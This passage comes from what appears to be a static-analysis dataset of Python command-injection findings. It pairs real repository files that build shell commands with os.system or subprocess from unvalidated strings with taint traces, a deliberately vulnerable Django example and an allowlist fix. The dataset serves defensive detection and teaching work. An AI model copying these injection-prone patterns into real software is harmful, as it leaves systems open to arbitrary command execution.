# end for jj\n  print(\"newTokenName: \", newTokenName)\n\n  ## first, check if metadata on hosting service has newTokenName.\n  ## if so, we're good! If not, update it!\n  old_foos = []\n  metadata_correct = False\n\n  os.system(\"gsutil ls gs://how-to-nfts-metadata/foo\" + str(token) + \".txt\"\n            + \" > foo_file0.txt\")\n  os.system(\"gsutil ls gs://how-to-nfts-metadata/foo\" + str(token) + \"_*.txt\"\n            + \" > foo_file1.txt\")\n\n  for jj in range(2):\n    with open(\"foo_file\" + str(jj) + \".txt\", \"r\") as fid:\n      for line in fid:\n        old_foos.append(line)\n        if \"foo\" + newTokenName + \".txt\" in line:\n          metadata_correct = True\n        # end if\n      # end for\n    # end with\n    os.system(\"rm foo_file\" + str(jj) + \".txt\")\n  # end for jj\n  print(\"old_foos: \", old_foos)\n\n  if metadata_correct:\n    print(\"metadata correct (supposedly) so skipping\")\n    continue\n  # end if\n\n  if len(old_foos) > 1:\n    print(\"error! only expected one old foo file.\")\n    raise\n  # end if\n  old_foo = old_foos[0][:-1] # strip trailing newline character\n  old_foo = old_foo.split(\"metadata/\")[1]\n  print(\"old_foo: \", old_foo)\n\n  ## evidently metadata is not correct...\n  ## first, we generate a new movie (if needed) and rsync with\n  ## the GCP bucket.\n  ## then, we'll update the metadata file, remove the old foo\n  ## file and touch a new one\n  ## then we'll rsync the metadata folder with the bucket.\n\n  target      = \"../nftmp4s/HowToKarate\" + str(token) + \".mp4\"\n  destination = \"../nftmp4s/HowToKarate\" + newTokenName + \".mp4\"\n  if not os.path.exists(destination):\n    os.system(\"cp \" + target + \" \" + destination)\n    for jj in range(len(tokenList)):\n      if tokenList[jj] != token:\n        print(\"destination: \", destination)\n        print(\"tokenList[jj]: \", tokenList[jj])\n        os.system('ffmpeg -y -i ' + destination + ' -i nftmp4s/HowToKarate' + str(tokenList[jj]) + '.mp4' + \\\n              ' -filter_complex \"[0:v] [1:v]' + \\\n              ' concat=n=2:v=1 [v]\"' + \\\n              ' -map \"[v]\" ' + \"concat.mp4\")\n        os.system(\"mv concat.mp4 \" + destination)\n      # end if\n    # end for jj\n    ## note, can rsync in parallel via rsync -m...\n    os.system(\"gsutil rsync ../nftmp4s/ gs://how-to-nfts-data/\")\n  # end if\n  \n  ## next, we'll update the metadata file, remove the old foo\n  ## file and touch a new one\n  ## then we'll rsync the metadata folder with the bucket.\n  os.system(\"cp ../metadata/\" + str(token) + \".json temp.json\")\n  with open(\"../metadata/\" + str(token) + \".json\", \"w\") as fid_write:\n    with open(\"temp.json\", \"r\") as fid_read:\n      for line in fid_read:\n        if '\"image\":' in line:\n          line = line.split(\"HowToKarate\")[0] + \"HowToKarate\" + \\\n                 str(newTokenName) + '.mp4\",\\n'\n        # end i\n        fid_write.write(line)\n      # end for line\n    # end with open write\n  # end with open read\n  os.system(\"rm temp.json\")\n  os.system(\"touch ../metadata/foo\" + str(newTokenName) + \".txt\")\n  os.system(\"rm ../metadata/\" + old_foo)\n\n  ## last, we need to update the _metadata file and then rsync.\n  with open(\"../metadata/_metadata.json\", \"w\") as fid_write:\n    fid_write.write(\"{\\n\")\n    for jj in range(1,25):\n      with open(\"../metadata/\" + str(jj) + \".json\", \"r\") as fid_read:\n        for line in fid_read:\n          if \"}\" in line and len(line) == 2 and jj != 24:\n            line = \"},\\n\"\n          # end if\n          fid_write.write(line)\n        # end for\n      # end with open\n    fid_write.write(\"}\")\n  # end with open\n\n  os.system(\"gsutil rsync -d ../metadata/ gs://how-to-nfts-metadata/\")\n# end for ii\n## end test.py", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readlines"}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "join"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.loads"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "contract"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "contractcontract.functions"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "totalSupply"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "call"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "range"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "tokenByIndex"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "contractcontract.functions"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "call"}}, {"lineNo": 70, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 70, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "676f3aea8514db64ba999bc28d3d52a7c7fc31b537c15354d9290cf69677dc26", "license": {"spdx": ["MIT"], "repo": "lvrcek/assembly_graph_utils", "path": "graph_dataset.py", "repo_head_hexsha": "00d1f502ec5742071e00121a2f0895709829d3c2", "stack_hexsha": "dc2fabb65e5e786f3ca6a824b28bbd0720153d1b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 46, "entireCode": "import os\nimport pickle\nimport subprocess\n\nimport dgl\nfrom dgl.data import DGLDataset\n\nimport graph_parser\n\n\nclass AssemblyGraphDataset(DGLDataset):\n    \"\"\"\n    A dataset to store the assembly graphs.\n\n    A class that inherits from the DGLDataset and extends the\n    functionality by adding additional attributes and processing the\n    graph data appropriately.\n\n    Attributes\n    ----------\n    root : str\n        Root directory consisting of other directories where the raw\n        data can be found (reads in FASTQ format), and where all the\n        processing results are stored.\n    tmp_dir : str\n        Directory inside root where mid-results (output of the raven \n        assembler) is stored\n    info_dir : str\n        Directory where additional graph information is stored\n    raven_path : str\n        Path to the raven assembler\n    \"\"\"\n\n    def __init__(self, root, specs=None):\n        \"\"\"\n        Parameters\n        ----------\n        root : str\n            Root directory consisting of other directories where the raw\n            data can be found (reads in FASTQ format), and where all the\n            processing results are stored.\n        \"\"\"\n        self.root = os.path.abspath(root)\n        self.specs = specs\n        if 'raw' not in os.listdir(self.root):\n            subprocess.run(f\"mkdir 'raw'\", shell=True, cwd=self.root)\n        if 'tmp' not in os.listdir(self.root):\n            subprocess.run(f\"mkdir 'tmp'\", shell=True, cwd=self.root)\n        if 'processed' not in os.listdir(self.root):\n            subprocess.run(f\"mkdir 'processed'\", shell=True, cwd=self.root)\n        if 'info' not in os.listdir(self.root):\n            subprocess.run(f\"mkdir 'info'\", shell=True, cwd=self.root)\n        raw_dir = os.path.join(self.root, 'raw')\n        save_dir = os.path.join(self.root, 'processed')\n        self.tmp_dir = os.path.join(self.root, 'tmp')\n        self.info_dir = os.path.join(self.root, 'info')\n        self.raven_path = os.path.abspath('vendor/raven_filter/build/bin/raven')\n        super().__init__(name='assembly_graphs', raw_dir=raw_dir, save_dir=save_dir)\n\n    def has_cache(self):\n        \"\"\"Check if the raw data is already processed and stored.\"\"\"\n        return len(os.listdir(self.save_dir)) > 0\n        # return len(os.listdir(self.save_dir)) == len(os.listdir(self.raw_dir))\n\n    def __len__(self):\n        return len(os.listdir(self.save_dir))\n\n    def __getitem__(self, idx):\n        (graph,), _ = dgl.load_graphs(os.path.join(self.save_dir, str(idx) + '.dgl'))\n        return idx, graph\n\n    def process(self):\n        \"\"\"Process the raw data and save it on the disk.\"\"\"\n        if self.specs is None:\n            threads = 32\n            filter = 0.99\n            out = 'assembly.fasta'\n        else:\n            threads = self.specs['threads']\n            filter = self.specs['filter']\n            out = self.specs['out']\n\n        graphia_dir = os.path.join(self.root, 'graphia')\n        if not os.path.isdir(graphia_dir):\n            os.mkdir(graphia_dir)\n\n        with open(f'{self.root}/dataset_log.txt', 'w') as f:\n            for cnt, fastq in enumerate(os.listdir(self.raw_dir)):\n                print(cnt, fastq)\n                reads_path = os.path.abspath(os.path.join(self.raw_dir, fastq))\n                print(reads_path)\n                subprocess.run(f'{self.raven_path} --filter {filter} --weaken -t{threads} -p0 {reads_path} > {out}', shell=True, cwd=self.tmp_dir)\n                for j in range(1, 2):\n                    print(f'graph {j}')\n                    # processed_path = os.path.join(self.save_dir, f'd{cnt}_g{j}.dgl')\n                    processed_path = os.path.join(self.save_dir, f'{cnt}.dgl')\n                    graph, pred, succ, reads, edges = graph_parser.from_csv(os.path.join(self.tmp_dir, f'graph_{j}.csv'), reads_path)\n                    dgl.save_graphs(processed_path, graph)\n\n                    pickle.dump(pred, open(f'{self.info_dir}/{cnt}_pred.pkl', 'wb'))\n                    pickle.dump(succ, open(f'{self.info_dir}/{cnt}_succ.pkl', 'wb'))\n                    pickle.dump(reads, open(f'{self.info_dir}/{cnt}_reads.pkl', 'wb'))\n                    pickle.dump(edges, open(f'{self.info_dir}/{cnt}_edges.pkl', 'wb'))\n\n                    graphia_path = os.path.join(graphia_dir, f'{cnt}_graph.txt')\n                    graph_parser.print_pairwise(graph, graphia_path)\n                f.write(f'{cnt} - {fastq}\\n')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "45"}}, {"lineNo": 46, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "a01493548777f46d5e9b5dfa4cb5b4b19e8378574928b534867fa3dfd925a8bf", "license": {"spdx": ["MIT"], "repo": "soasme/PeppaPEG", "path": "scripts/check_spec.py", "repo_head_hexsha": "3ad481674ba3bbed6d495a6ad3b1f8087e6fd02d", "stack_hexsha": "219eff34d4867620514405299c53bb4d517aed92", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 43, "entireCode": "import os.path\nimport subprocess\nimport sys\nimport json\nimport yaml\nimport shlex\n\ndef test_spec():\n    executable = sys.argv[1]\n    specs_file = sys.argv[2]\n    if specs_file.endswith('.json'):\n        with open(specs_file) as f:\n            try:\n                specs = json.load(f)\n            except json.decoder.JSONDecodeError:\n                print(\"invalid json spec\")\n                exit(1)\n    elif specs_file.endswith('.yaml'):\n        with open(specs_file) as f:\n            try:\n                specs = yaml.load(f, Loader=yaml.Loader)\n            except Exception:\n                print('invalid yaml spec')\n                exit(1)\n\n    failed, ignored, total = 0, 0, 0\n    for spec in specs:\n        for test in spec['tests']:\n            total += 1\n            cmd = shlex.split(executable) + [\n                'parse',\n                '--grammar-entry', spec['entry'],\n            ]\n            if 'grammar' in spec:\n                cmd.extend(['--grammar-str', spec['grammar']])\n            elif 'grammar_file' in spec:\n                if spec['grammar_file'].startswith('/'):\n                    cmd.extend(['--grammar-file', spec['grammar_file']])\n                else:\n                    cmd.extend(['--grammar-file', os.path.dirname(os.path.abspath(specs_file)) + '/' + spec['grammar_file']])\n            else:\n                raise ValueError('Missing grammar/grammar_file')\n            proc = subprocess.run(\n                cmd,\n                stdout=subprocess.PIPE,\n                stderr=subprocess.PIPE,\n                input=test['I'].encode('utf-8'),\n            )\n            if 'O' in test:\n                if proc.returncode == 0:\n                    output = json.loads(proc.stdout.decode('utf-8'))\n                    expect = test['O']\n                    if output != expect:\n                        print(\n                            f\"GRAMMAR:\\n{spec.get('grammar') or spec.get('grammar_file')}\\n\"\n                            f\"INPUT:\\n{test['I']}\\n\"\n                            f\"OUTPUT:\\n{test['O']}\\n\"\n                            f\"GOT:\\n{json.dumps(output)}{proc.stderr.decode('utf-8')}\\n\"\n                        )\n                        failed += 1\n                else:\n                    print(\n                        f\"GRAMMAR:\\n{spec.get('grammar') or spec.get('grammar_file')}\\n\"\n                        f\"INPUT:\\n{test['I']}\\n\"\n                        f\"OUTPUT:\\n{test['O']}\\n\"\n                        f\"GOT:\\n{proc.stderr.decode('utf-8')}{proc.stdout}\\n\"\n                    )\n                    failed += 1\n            elif 'E' in test:\n                if proc.stderr.decode('utf-8').strip() != test['E']:\n                    print(\n                        f\"GRAMMAR:\\n{spec.get('grammar') or spec.get('grammar_file')}\\n\"\n                        f\"INPUT:\\n{test['I']}\\n\"\n                        f\"ERROR:\\n{test['E']}\\n\"\n                        f\"GOT:\\n{proc.stderr.decode('utf-8')}{proc.stdout.decode('utf-8')}\"\n                    )\n                    failed += 1\n            else:\n                ignored += 1\n\n    print(\"total: %d, failed: %d, ignored: %d\" % (total, failed, ignored))\n    if failed:\n        exit(1)\n\nif __name__ == '__main__':\n    test_spec()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "spectest_spec.spec[\"entry\"]"}}, {"lineNo": 43, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "8f0f01d025239ffdddef05db20cc252d6d982a9b892f768ce5e4e4bf85c67db0", "license": {"spdx": ["MIT"], "repo": "JaeminBest/melgan-neurips", "path": "scripts/data_preparation.py", "repo_head_hexsha": "924cf5c53543589356f90b1f07fc93f752a3108e", "stack_hexsha": "86e51efbd46812b418d01ef123c825d6801b4707", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 99, "entireCode": "'''\ngenerate final_train.txt\nif custom(-c):\n  download data from s3, fill folder(--folder) \n  and then generate final_train.txt and final_val.txt\nelse:\n  load data from folder(--folder) and then generate final_train(val).txt\n  \n'''\n\n\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\n\nfrom pathlib import Path\nfrom tqdm import tqdm\nfrom librosa.core import load\nimport argparse\nimport json\nimport librosa\nimport shutil\nimport torch\nimport random\n\nfrom utils.credential import s3\nfrom utils.audio import convert_sr\n\nSR = 22050\n\n\ndef span_path(args,full_filepath):\n  path_cvt = Path(full_filepath)\n  if args.folder==path_cvt.parents[0]:\n    return full_filepath\n  parse_speaker_id = full_filepath.split('/')[-4].split('-')[-1]\n  parse_file_id = full_filepath.split('/')[-3].split('-')[-1]\n  parse_filename = full_filepath.split('/')[-1]\n  new_path = args.folder / Path(\"{}-{}-{}\".format(parse_speaker_id,parse_file_id,parse_filename))\n  os.system('mv {} {}'.format(full_filepath,str(new_path)))\n  return new_path\n\ndef reconstruct_path(key):\n  splits = key.split('-')\n  return \"speaker-{}/file-{}/wav/{}\".format(splits[0],splits[1],splits[2])\n\ndef parse_args():\n  parser = argparse.ArgumentParser()\n  parser.add_argument(\"--folder\", type=Path, required=True)\n  parser.add_argument(\"--data-param-path\", type=Path, default='/app/params.json')\n  parser.add_argument(\"--train-file\", type=Path, default='/app/data/final_train.txt')\n  parser.add_argument(\"--val-file\", type=Path, default='/app/data/final_val.txt')\n  parser.add_argument('-c', type=bool, default=(True if os.environ.get('CUSTOM','')=='1' else False))\n  parser.add_argument('-d', action='store_true') # download flag if you change params.json you need to set this flag\n  parser.add_argument('-s', action='store_true') # setting training_file, validation_file\n  args = parser.parse_args()\n  return args\n\n# assume that data already spanned\ndef invalid_data_checker(args):\n  print(\"start invalid data checker\",flush=True)\n  for rootpath,dirs,files in os.walk(str(args.folder)):\n    for file in files:\n      if file.find('.wav')==-1:\n        continue\n      filepath = os.path.join(rootpath,file)\n      print(filepath,flush=True)\n      path_cvt = Path(filepath)\n      if args.folder==path_cvt.parents[0]:\n        data, sampling_rate = load(filepath, sr=SR)\n        if data.shape==(0,):\n          print(\"deleted!!!!!!\",flush=True)\n          os.remove(filepath)\n          os.remove(filepath.split('.wav')[0]+'.mel')\n          continue\n\n\ndef main():\n  args = parse_args()\n  args.folder.mkdir(exist_ok=True, parents=True)\n    \n  # download from s3\n  if not args.d:\n    # custom dataset\n    if args.c:\n      # json load\n      with open(args.data_param_path) as f:\n        json_data = json.load(f)\n      data_list = json_data['data']\n      \n      # data download\n      for data in data_list:\n        parse_id = int(data.split('-')[-1])\n        parse_type = data.split('-')[0]\n        \n        if parse_type=='nltk':\n          dirpath = args.folder / Path('speaker-{}'.format(parse_id))\n          os.makedirs(str(dirpath),exist_ok=True)\n          os.system(\"aws s3 cp s3://mindlogic-tts-cache/nltk/speaker-{} {} --recursive\".format(parse_id,os.path.join(*dirpath.parts)))\n        else:\n          dirpath = args.folder/Path('speaker-{}'.format(parse_id))\n          os.makedirs(str(dirpath),exist_ok=True)\n          os.system(\"aws s3 cp s3://mindlogic-tts-cache/celeb/speaker-{} {} --recursive\".format(parse_id,os.path.join(*dirpath.parts)))\n      \n      # rearrange to structure\n      print(\"rearrange start\",flush=True)\n      for rootpath,dirs,files in os.walk(str(args.folder)):\n        for file in files:\n          if file.find('.wav')==-1:\n            continue\n          filepath = os.path.join(rootpath,file)\n          convert_sr(filepath,SR)\n          new_path = span_path(args,filepath)\n    \n      print(\"dummy clean start\",flush=True)\n      # delete dummy directory\n      for data in data_list:\n        parse_id = int(data.split('-')[-1])\n        parse_type = data.split('-')[0]\n        dirpath = os.path.join(args.folder,'speaker-{}'.format(parse_id))\n        if os.path.isdir(dirpath):\n          shutil.rmtree(dirpath)\n      \n    else:\n      print(\"building list of files...\",flush=True)\n      for rootpath,dirs,files in os.walk(str(args.folder)):\n        for file in files:\n          if file.find('.wav')==-1:\n            continue\n          filepath = os.path.join(rootpath,file)\n          convert_sr(filepath,SR)\n  \n  if args.s:\n    invalid_data_checker(args)\n    print(\"training/validation file selection start\",flush=True)\n    if os.path.isfile(args.train_file):\n      os.remove(args.train_file)\n    trn_mapper = open(args.train_file,'a')\n    if os.path.isfile(args.val_file):\n      os.remove(args.val_file)\n    val_mapper = open(args.val_file,'a')\n    \n    if args.c:\n      # json load\n      with open(args.data_param_path) as f:\n        json_data = json.load(f)\n      data_list = json_data['data']\n      \n      # data download + random validation selection\n      bucket = s3.Bucket('mindlogic-tts')\n      val_list = list()\n      for data in data_list:\n        parse_id = int(data.split('-')[-1])\n        parse_type = data.split('-')[0]\n        tmp_tot_list = list()\n        tmp_val_list = list()\n        \n        if parse_type=='nltk':\n          dirpath = args.folder / Path('speaker-{}'.format(parse_id))\n          os.makedirs(str(dirpath),exist_ok=True)\n          spkr_dataset = bucket.objects.filter(Prefix='nltk/speaker-{}/'.format(parse_id)).all()\n        else:\n          dirpath = args.folder/Path('speaker-{}'.format(parse_id))\n          os.makedirs(str(dirpath),exist_ok=True)\n          spkr_dataset = bucket.objects.filter(Prefix='celeb/speaker-{}/'.format(parse_id)).all()\n        \n        tmp_tot_list = [\"/\".join(el.key.split('/')[1:]) for el in spkr_dataset]\n        tmp_val_list = random.sample(tmp_tot_list,len(tmp_tot_list)//10)\n        val_list += tmp_val_list\n      print(val_list)\n      \n      # rearrange to structure\n      print(\"rearrange start\",flush=True)\n      for rootpath,dirs,files in os.walk(str(args.folder)):\n        for file in files:\n          if file.find('.wav')==-1:\n            continue\n          filepath = os.path.join(rootpath,file)\n          search_key = reconstruct_path(file)\n          if search_key in val_list:\n            val_mapper.write(filepath+'\\n')\n          else:\n            trn_mapper.write(filepath+'\\n')\n      \n    else:\n      tot_list = list()\n      val_list = list()\n      print(\"scanning list of files...\",flush=True)\n      for rootpath,dirs,files in os.walk(str(args.folder)):\n        for file in files:\n          filepath = os.path.join(rootpath,file)\n          if filepath.find('.wav')!=-1:\n            tot_list.append(filepath)\n      val_list = random.sample(tot_list,len(tot_list)//10)\n      \n      print(\"writing file list...\")\n      for el in tot_list:\n        if el in val_list:\n          val_mapper.write(el+'\\n')\n        else:\n          trn_mapper.write(el+'\\n')\n\n    trn_mapper.close()\n    val_mapper.close()\n    \n\n  print(\"finished\",flush=True)\n  \n\nif __name__ == \"__main__\":\n  main()\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 89, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json_datamain.json_data[\"data\"]"}}, {"lineNo": 92, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 92, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split[-1]"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "int"}}, {"lineNo": 96, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "96"}}, {"lineNo": 97, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 97, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Path"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 99, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "6337ae26f048f9cf51e718086567a55b65836723761dca21d5cad0c0c60415af", "license": {"spdx": ["MIT"], "repo": "MewX/gpw_mkv_uploady", "path": "upload_task.py", "repo_head_hexsha": "ba839cd75c6dd3b8f3d7844be255bf75dffd06ce", "stack_hexsha": "8163ebbc0396125b65e821b12d60e89fd66d1268", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 100, "entireCode": "import os\nimport logging\nimport subprocess\nimport time\nimport shutil\nimport requests\nimport json\nimport traceback\nfrom img_uploader import ImgUploader\nLOG_FORMAT = \"%(asctime)s - %(levelname)s - %(message)s\"\nlogging.basicConfig(level=logging.INFO, format=LOG_FORMAT)\n\nclass UploadTask(object):\n\n    def __init__(self, *, \n        pipeline: dict,\n        mkvpath: str,\n        resultdir: str,\n        is_single_file: bool,\n        imguploader=None,\n        ptpimguploader=None,\n    ):\n        \"\"\"\n        pipeline: all operations to be done, see config.py for details\n        mkvpath: path to .mkv file\n        resultdir: path to save the uploady information\n        is_single_file: whether the .mkv file is only a single file or under a folder\n        \"\"\"\n        self.pipeline = pipeline\n        self.mkvpath = mkvpath\n        self.resultdir = resultdir        \n        self.is_single_file = is_single_file\n        self.imguploader = imguploader\n        self.ptpimguploader = ptpimguploader\n\n    def run_all(self):\n        filename = os.path.split(self.mkvpath)[1]\n        logging.info(\"running task for {} result will be saved to {}\".format(filename, self.resultdir))\n        if not os.path.exists(self.resultdir):\n            os.makedirs(self.resultdir)\n        if self.pipeline[\"screenshot\"][\"screenshot\"]:\n            SCREENSHOT= self.pipeline[\"screenshot\"]\n            logging.info(\"generating screenshot\")\n            screenshot_paths = self.gen_screenshot(quantiles=SCREENSHOT[\"quantiles\"])\n            if SCREENSHOT[\"upload_to_image_host\"]:\n                self.upload_to_image_host(screenshot_paths)\n            if 